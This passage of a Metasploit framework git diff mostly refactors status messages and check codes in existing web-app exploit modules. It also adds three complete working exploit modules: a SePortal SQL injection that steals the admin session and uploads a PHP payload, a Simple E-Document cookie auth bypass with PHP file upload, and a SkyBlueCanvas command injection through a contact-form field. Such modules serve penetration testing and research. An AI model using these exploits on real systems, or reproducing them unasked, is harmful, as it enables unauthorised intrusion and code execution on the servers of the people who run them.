     data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")
-    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    post_data = data.to_s
 
     res = send_request_cgi({
       'method'   => 'POST',
diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb
index eaf385d144..a3006ed24e 100644
--- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb
+++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb
@@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
       }, 25)
 
     if (res and res.body =~ /flexupload.swf/)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb
index 961dcb3417..3ec6a4e361 100644
--- a/modules/exploits/unix/webapp/kimai_sqli.rb
+++ b/modules/exploits/unix/webapp/kimai_sqli.rb
@@ -31,8 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
         ],
       'References'     =>
         [
-          ['EDB'       => '25606'],
-          ['OSVDB'     => '93547'],
+          ['EDB',       '25606'],
+          ['OSVDB',     '93547'],
         ],
       'Payload'        =>
         {
@@ -63,21 +63,19 @@ class Metasploit3 < Msf::Exploit::Remote
   # Checks if target is Kimai version 0.9.2.x
   #
   def check
-    print_status("#{peer} - Checking version...")
+    vprint_status("#{peer} - Checking version...")
     res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
     if not res
-      print_error("#{peer} - Request timed out")
+      vprint_error("#{peer} - Request timed out")
       return Exploit::CheckCode::Unknown
     elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
       version = "#{$1}"
       print_good("#{peer} - Found version: #{version}")
       if version >= "0.9.2" and version <= "0.9.2.1306"
-        return Exploit::CheckCode::Detected
-      else
-        return Exploit::CheckCode::Safe
+        return Exploit::CheckCode::Appears
       end
     end
-    Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb
index 29f54e4d8f..81ec7cc60e 100644
--- a/modules/exploits/unix/webapp/libretto_upload_exec.rb
+++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
     if not res
-      print_error("#{peer} - Connection timed out")
+      vprint_error("#{peer} - Connection timed out")
       return Exploit::CheckCode::Unknown
     end
 
@@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote
     data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
     data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
     data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
-    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    post_data = data.to_s
 
     uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')
 
diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb
index e54e54fb96..f3eb502bdd 100644
--- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb
+++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb
@@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
     post_data = Rex::MIME::Message.new
     post_data.add_part("drawing.r if()else[]\nexec eval(\"open(__file__)\\56read()\\56split('[MARK]')[-2]\\56strip('\\\\0')\")", nil, nil, "form-data; name=\"filename\"")
     post_data.add_part(my_payload, "image/png", nil, "form-data; name=\"filepath\"; filename=\"drawing.png\"")
-    my_data = post_data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    my_data = post_data.to_s
 
     res = send_request_cgi({
       'method'   => 'POST',
diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb
index 791d0653ee..913641b07b 100644
--- a/modules/exploits/unix/webapp/mybb_backdoor.rb
+++ b/modules/exploits/unix/webapp/mybb_backdoor.rb
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def check
-    print_status("Checking target")
+    vprint_status("Checking target")
     res = send_request_raw({
       'method' => 'GET',
       'uri' => uri
diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb
index ee122919cf..4bba1a2ef0 100644
--- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb
+++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb
@@ -164,16 +164,16 @@ class Metasploit3 < Msf::Exploit::Remote
     mytarget = select_target(banner, version)
 
     if mytarget.nil?
-      print_error("No matching target")
+      vprint_error("No matching target")
       return CheckCode::Unknown
     end
 
     if alert.nil?
-      print_error("At least one ALERT is needed in order to exploit")
+      vprint_error("At least one ALERT is needed in order to exploit")
       return CheckCode::Detected
     end
 
-    return CheckCode::Vulnerable
+    return CheckCode::Appears
   end
 
   def exploit
diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb
index 2a1d2c68bf..0295f0f7db 100644
--- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb
+++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb
@@ -66,7 +66,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 404
-      print_error("Remote host does not have Graph Explorer installed.")
+      vprint_error("Remote host does not have Graph Explorer installed.")
     elsif res and res.body =~ /Your session has timed out/
       return Exploit::CheckCode::Detected
     end
diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb
index 6f65bc56a8..3672d2fb00 100644
--- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb
+++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb
@@ -83,14 +83,14 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     sig = rand_text_alpha(rand(10) + 5)  #The string to check
 
-    print_status("#{peer} - Looking for signature '#{sig}'...")
+    vprint_status("#{peer} - Looking for signature '#{sig}'...")
     res = remote_exe("echo #{sig}")
 
     if res and res.body =~ /#{sig}/
-      print_status("#{peer} - Signature '#{sig}' found.")
+      vprint_status("#{peer} - Signature '#{sig}' found.")
       return Exploit::CheckCode::Vulnerable
     else
-      print_status("#{peer} - Signature not found")
+      vprint_status("#{peer} - Signature not found")
       return Exploit::CheckCode::Safe
     end
   end
diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb
index 65916cc599..0669cfdd87 100644
--- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb
+++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb
@@ -77,13 +77,13 @@ class Metasploit3 < Msf::Exploit::Remote
       'uri'    => normalize_uri(target_uri.path, "ofc_upload_image.php"),
     })
     if not res
-      print_error("#{peer} - Connection timed out")
+      vprint_error("#{peer} - Connection timed out")
       return Exploit::CheckCode::Unknown
     elsif res.code.to_i == 404
-      print_error("#{peer} - No ofc_upload_image.php found")
+      vprint_error("#{peer} - No ofc_upload_image.php found")
     elsif res and res.code == 200 and res.body =~ /Saving your image to/
       vprint_status("#{peer} - Found ofc_upload_image.php")
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb
index a4c76f8a81..a795414f59 100644
--- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb
+++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb
@@ -69,10 +69,10 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Unknown
     end
 
-    print_status("#{peer} - Version #{version} detected")
+    vprint_status("#{peer} - Version #{version} detected")
 
     if version < "4.1.2"
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb
index dfffcc4287..243b6b31ff 100644
--- a/modules/exploits/unix/webapp/openemr_upload_exec.rb
+++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb
@@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
     peer = "#{rhost}:#{rport}"
 
     # Check version
-    print_status("#{peer} - Trying to detect installed version")
+    vprint_status("#{peer} - Trying to detect installed version")
 
     res = send_request_cgi({
       'method' => 'GET',
@@ -69,14 +69,14 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Unknown
     end
 
-    print_status("#{peer} - Version #{version} detected")
+    vprint_status("#{peer} - Version #{version} detected")
 
     if version > "4.1.1"
       return Exploit::CheckCode::Safe
     end
 
     # Check for vulnerable component
-    print_status("#{peer} - Trying to detect the vulnerable component")
+    vprint_status("#{peer} - Trying to detect the vulnerable component")
 
     res = send_request_cgi({
       'method' => 'GET',
@@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
     })
 
     if res and res.code == 200 and res.body =~ /Saving your image to/
-      return Exploit::CheckCode::Detected
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb
index 6db0c66ab7..5e24801888 100644
--- a/modules/exploits/unix/webapp/opensis_modname_exec.rb
+++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb
@@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     return Exploit::CheckCode::Unknown unless login(datastore['USERNAME'], datastore['PASSWORD'])
     fingerprint = Rex::Text.rand_text_alphanumeric(rand(10)+10)
-    print_status("#{peer} - Sending check")
+    vprint_status("#{peer} - Sending check")
     res = execute_command("echo #{fingerprint}")
     if res and res.body =~ /align=center>#{fingerprint}/
       return Exploit::CheckCode::Vulnerable
diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb
index 17e82bfdec..a0eac8db57 100644
--- a/modules/exploits/unix/webapp/openx_banner_edit.rb
+++ b/modules/exploits/unix/webapp/openx_banner_edit.rb
@@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Safe if (vers[0] > 2)
       return Exploit::CheckCode::Safe if (vers[1] > 8)
       return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb
index 1f31db9b3d..eb1393d33a 100644
--- a/modules/exploits/unix/webapp/php_charts_exec.rb
+++ b/modules/exploits/unix/webapp/php_charts_exec.rb
@@ -79,14 +79,12 @@ class Metasploit3 < Msf::Exploit::Remote
 
       if res and res.body =~ /#{fingerprint}/
         return Exploit::CheckCode::Vulnerable
-      else
-        return Exploit::CheckCode::Safe
       end
     rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_error("#{peer} - Connection failed")
+      vprint_error("#{peer} - Connection failed")
+      return Exploit::CheckCode::Unknown
     end
-    return Exploit::CheckCode::Unknown
-
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb
index 3f3b786b33..b39281daca 100644
--- a/modules/exploits/unix/webapp/php_eval.rb
+++ b/modules/exploits/unix/webapp/php_eval.rb
@@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
     if response.code == 200
       return Exploit::CheckCode::Detected
     end
-    print_error("Server responded with #{response.code}")
+    vprint_error("Server responded with #{response.code}")
     return Exploit::CheckCode::Safe
   end
 
diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb
index 49ca4bd598..cdb3f7c30a 100644
--- a/modules/exploits/unix/webapp/php_include.rb
+++ b/modules/exploits/unix/webapp/php_include.rb
@@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote
             print_status("Checking uri #{rhost+tpath+uri}")
             response = send_request_raw({ 'uri' => tpath+uri})
             return Exploit::CheckCode::Detected if response.code == 200
-            print_error("Server responded with #{response.code}")
+            vprint_error("Server responded with #{response.code}")
             return Exploit::CheckCode::Safe
         else
             return Exploit::CheckCode::Unknown
diff --git a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb
index d3c28d3f32..3618ffe627 100644
--- a/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb
+++ b/modules/exploits/unix/webapp/php_wordpress_optimizepress.rb
@@ -94,7 +94,6 @@ class Metasploit3 < Msf::Exploit::Remote
     print_status("#{peer} - Uploading PHP payload...")
 
     n_data = post_data.to_s
-    n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
     res = send_request_cgi({
       'method' => 'POST',
diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb
index fa17f8521d..d0ffa55992 100644
--- a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb
+++ b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb
@@ -183,14 +183,14 @@ class Metasploit3 < Msf::Exploit::Remote
   def check
     res = wordpress_and_online?
     unless res
-      print_error("#{peer} does not seeem to be Wordpress site")
+      vprint_error("#{peer} does not seeem to be Wordpress site")
       return Exploit::CheckCode::Unknown
     end
 
     if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
       version = $1
       if version <= "0.9.2.8"
-        return Exploit::CheckCode::Vulnerable
+        return Exploit::CheckCode::Appears
       else
         return Exploit::CheckCode::Safe
       end
@@ -200,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote
       return Exploit::CheckCode::Detected
     end
 
-    return Exploit::CheckCode::Unknown
+    return Exploit::CheckCode::Safe
 
   end
 end
diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb
index 713de00e18..0bee0529ff 100644
--- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb
+++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb
@@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
       })
 
     if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/
-      return Exploit::CheckCode::Vulnerable
+      return Exploit::CheckCode::Appears
     else
       return Exploit::CheckCode::Safe
     end
@@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote
     data.add_part('', nil, nil, 'form-data; name="part"')
     data.add_part('Submit', nil, nil, 'form-data; name="submit"')
 
-    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+    post_data = data.to_s
 
     res = send_request_cgi({
       'method'  => 'POST',
diff --git a/modules/exploits/unix/webapp/seportal_sqli_exec.rb b/modules/exploits/unix/webapp/seportal_sqli_exec.rb
new file mode 100644
index 0000000000..04bf6fd59d
--- /dev/null
+++ b/modules/exploits/unix/webapp/seportal_sqli_exec.rb
@@ -0,0 +1,174 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "SePortal SQLi Remote Code Execution",
+      'Description'    => %q{
+        This module exploits a vulnerability found in SePortal version 2.5.
+        When logging in as any non-admin user, it's possible to retrieve the admin session
+        from the database through SQL injection. The SQL injection vulnerability exists
+        in the "staticpages.php" page. This hash can be used to take over the admin
+        user session. After logging in, the "/admin/downloads.php" page will be used
+        to upload arbitrary code.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'jsass', # Discovery
+          'xistence <xistence[at]0x90.nl>' # Metasploit module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2008-5191'],
+          ['OSVDB', '46567'],
+          ['EDB', '32359']
+        ],
+      'Platform'       => ['php'],
+      'Arch'           => ARCH_PHP,
+      'Targets'        =>
+        [
+          ['SePortal', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Mar 20 2014",
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The base path to the SePortal installation', '/seportal']),
+          OptString.new('USER', [true, 'The non-admin user', 'test']),
+          OptString.new('PASS', [true, 'The non-admin password', 'test'])
+        ], self.class)
+  end
+
+  def uri
+    return target_uri.path
+  end
+
+  def check
+    # Check version
+    vprint_status("#{peer} - Trying to detect installed version")
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(uri, "index.php")
+    })
+
+    if res and res.code == 200 and res.body =~ /Powered by \<b\>SePortal\<\/b\> (.*)/
+      version = $1
+    else
+      return Exploit::CheckCode::Unknown
+    end
+
+    vprint_status("#{peer} - Version #{version} detected")
+
+    if version.to_f <= 2.5
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def exploit
+
+    print_status("#{peer} - Logging in as user [ #{datastore['USER']} ]")
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(uri, "login.php"),
+      'vars_post' => {
+          "user_name" => datastore['USER'],
+          "user_password" => datastore['PASS']
+      }
+    })
+
+    if res && res.code == 302 and res.get_cookies =~ /sessionid=([a-zA-Z0-9]+)/
+      session = $1
+      print_status("#{peer} - Login successful")
+      print_status("#{peer} - Session cookie is [ #{session} ]")
+    else
+      fail_with(Failure::Unknown, "#{peer} - Login was not succesful!")
+    end
+
+    # Generate random string and convert to hex
+    sqlq = rand_text_alpha(8)
+    sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
+
+    # Our SQL Error-Based Injection string - The string will return the admin session between the words ABCD<hash>ABCD in the response page.
+    sqli = "1' AND (SELECT #{sqls} FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST(session_id AS CHAR),0x20)),1,50) "
+    sqli << "FROM seportal_sessions WHERE session_user_id=1 LIMIT 1"
+    sqli << "),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '0x#{sqls}'='0x#{sqls}"
+
+    print_status("#{peer} - Retrieving admin session through SQLi")
+    res = send_request_cgi({
+      'method' => 'POST',
+      'vars_get'   => { "sp_id" => sqli },
+      'cookie' => "sessionid=#{session}",
+      'uri'    => normalize_uri(uri, "staticpages.php")
+    })
+
+    if res and res.code == 200 and res.body =~ /#{sqlq}([a-zA-Z0-9]+)#{sqlq}/
+      adminhash = $1
+      print_status("#{peer} - Admin session is [ #{adminhash} ]")
+    else
+      fail_with(Failure::Unknown, "#{peer} - Retrieving admin session failed!")
+    end
+
+    # Random filename
+    payload_name = rand_text_alpha_lower(rand(10) + 5) + '.php'
+    # Random title
+    rand_title = rand_text_alpha_lower(rand(10) + 5)
+    # Random category ID
+    rand_catid = rand_text_numeric(4)
+
+    post_data = Rex::MIME::Message.new
+    post_data.add_part("savefile", nil, nil, "form-data; name=\"action\"")
+    post_data.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"")
+    post_data.add_part(rand_title, nil, nil, "form-data; name=\"file_title\"")
+    post_data.add_part(rand_catid, nil, nil, "form-data; name=\"cat_id\"")
+
+    file = post_data.to_s
+    file.strip!
+
+    print_status("#{peer} - Uploading payload [ #{payload_name} ]")
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri'    => normalize_uri(uri, "admin", "downloads.php"),
+      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
+      'cookie' => "sessionid=#{adminhash}",
+      'data'   => file
+    })
+
+    # If the server returns 200 and the body contains our payload name,
+    # we assume we uploaded the malicious file successfully
+    if not res or res.code != 200
+      fail_with(Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
+    end
+
+    register_file_for_cleanup(payload_name)
+
+    print_status("#{peer} - Requesting payload [ #{uri}/data/down_media/#{payload_name} ]")
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri'    => normalize_uri(uri, "data", "down_media", "#{payload_name}")
+    })
+
+    # If we don't get a 200 when we request our malicious payload, we suspect
+    # we don't have a shell, either.
+    if res and res.code != 200
+      print_error("#{peer} - Unexpected response, exploit probably failed!")
+    end
+
+  end
+
+end
diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb
new file mode 100644
index 0000000000..21c3775c5a
--- /dev/null
+++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb
@@ -0,0 +1,149 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Simple E-Document Arbitrary File Upload",
+      'Description'    => %q{
+        This module exploits a file upload vulnerability found in Simple
+        E-Document versions 3.0 to 3.1. Attackers can bypass authentication and
+        abuse the upload feature in order to upload malicious PHP files which
+        results in arbitrary remote code execution as the web server user. File
+        uploads are disabled by default.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'vinicius777[at]gmail.com', # Auth bypass discovery and PoC, kinda
+          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
+        ],
+      'References'     =>
+        [
+          # This EDB uses SQLI for auth bypass which isn't needed.
+          # Sending "Cookie: access=3" with all requests is all
+          # that's needed for auth bypass.
+          ['EDB', '31142']
+        ],
+      'Payload'        =>
+        {
+          'DisableNops' => true,
+          # Arbitrary big number. The payload gets sent as an HTTP
+          # response body, so really it's unlimited
+          'Space'       => 262144 # 256k
+        },
+      'Arch'           => ARCH_PHP,
+      'Platform'       => 'php',
+      'Targets'        =>
+        [
+          # Tested on Simple E-Document versions 3.0 and 3.1
+          [ 'Generic (PHP Payload)', {} ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Jan 23 2014',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The base path to Simple E-Document', '/simple_e_document_v_1_31/'])
+        ], self.class)
+  end
+
+  #
+  # Checks if target allows file uploads
+  #
+  def check
+    res = send_request_raw({
+      'uri'    => normalize_uri(target_uri.path, 'upload.php'),
+      'cookie' => 'access=3'
+    })
+
+    unless res
+      vprint_error("#{peer} - Connection timed out")
+      return Exploit::CheckCode::Unknown
+    end
+
+    if res.body and res.body.to_s =~ /File Uploading Has Been Disabled/
+      vprint_error("#{peer} - File uploads are disabled")
+      return Exploit::CheckCode::Safe
+    end
+
+    if res.body and res.body.to_s =~ /Upload File/
+      return Exploit::CheckCode::Appears
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  #
+  # Uploads our malicious file
+  #
+  def upload
+    @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
+    php  = "<?php #{payload.encoded} ?>"
+
+    data = Rex::MIME::Message.new
+    data.add_part('upload', nil, nil, 'form-data; name="op1"')
+    data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"")
+    post_data = data.to_s
+
+    print_status("#{peer} - Uploading PHP payload...")
+    res = send_request_cgi({
+      'method'   => 'POST',
+      'uri'      => normalize_uri(target_uri.path, 'upload.php'),
+      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
+      'cookie'   => 'access=3',
+      'data'     => post_data,
+      'vars_get' => {
+        'op' => 'newin'
+      }
+    })
+
+    fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") unless res
+    fail_with(Failure::NotFound, "#{peer} - No upload.php found") if res.code.to_i == 404
+    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to write #{@fname}") if res.body and (res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\!/)
+
+    print_good("#{peer} - Payload uploaded successfully.")
+    register_files_for_cleanup(@fname)
+
+    if res.body.to_s =~ /<br>folder to use: .+#{target_uri.path}\/?(.+)<br>/
+        @upload_path = normalize_uri(target_uri.path, "#{$1}")
+        print_good("#{peer} - Found upload path #{@upload_path}")
+    else
+        @upload_path = normalize_uri(target_uri.path, 'in')
+        print_warning("#{peer} - Could not find upload path - assuming '#{@upload_path}'")
+    end
+  end
+
+  #
+  # Executes our uploaded malicious file
+  #
+  def exec
+    print_status("#{peer} - Executing #{@fname}...")
+    res = send_request_raw({
+      'uri'    => normalize_uri(@upload_path, @fname),
+      'cookie' => 'access=3'
+    })
+    if res and res.code == 404
+      fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}")
+    end
+  end
+
+  #
+  # Just upload and execute
+  #
+  def exploit
+    upload
+    exec
+  end
+end
diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb
new file mode 100644
index 0000000000..d6c3324dc1
--- /dev/null
+++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb
@@ -0,0 +1,96 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'SkyBlueCanvas CMS Remote Code Execution',
+      'Description'    => %q{
+        This module exploits an arbitrary command execution vulnerability
+        in SkyBlueCanvas CMS version 1.1 r248-03 and below.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Scott Parish', # Vulnerability discovery and exploit
+          'xistence <xistence[at]0x90.nl>' # Metasploit Module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2014-1683'],
+          ['OSVDB', '102586'],
+          ['BID', '65129'],
+          ['EDB', '31183'],
+          ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
+        ],
+      'Privileged'     => false,
+      'Payload'        =>
+        {
+          # Arbitrary big number. The payload gets sent as an HTTP
+          # response body, so really it's unlimited
+          'Space'       => 262144, # 256k
+          'DisableNops' => true,
+          'Compat' =>
+            {
+              'ConnectionType' => 'find',
+              'PayloadType'    => 'cmd',
+              'RequiredCmd'    => 'generic perl ruby bash telnet python'
+            }
+        },
+      'Platform'       => %w{ unix },
+      'Targets'        =>
+        [
+          ['SkyBlueCanvas 1.1 r248', {}]
+        ],
+      'Arch'           => ARCH_CMD,
+      'DisclosureDate' => 'Jan 28 2014',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
+      ],self.class)
+  end
+
+  def check
+    uri = normalize_uri(target_uri.path.to_s, "index.php")
+
+    res = send_request_raw('uri' => uri)
+
+    if res and res.body =~ /[1.1 r248]/
+      vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
+      return Exploit::CheckCode::Appears
+    end
+
+    Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    uri = normalize_uri(target_uri.path.to_s, "index.php")
+
+    vprint_status("#{peer} - Sending request to #{uri}.")
+
+    send_request_cgi({
+      'method'  => 'POST',
+      'uri'     => uri,
+      'vars_get' => { 'pid' => '4' },
+      'vars_post' =>
+        {
+          'cid' => '3',
+          'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
+          'email' => rand_text_alphanumeric(10),
+          'subject' => rand_text_alphanumeric(10),
+          'message' => rand_text_alphanumeric(10),
+          'action' => 'Send'
+        }
+    })
+  end
+end
diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb
index 92728f82a2..1a91c5763e 100644
--- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb
+++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
+      'Name'           => 'Simple PHP Blog Remote Command Execution',
       'Description'    => %q{
           This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
         application to upload arbitrary data and thus execute a shell. The first
@@ -61,13 +61,13 @@ class Metasploit3 < Msf::Exploit::Remote
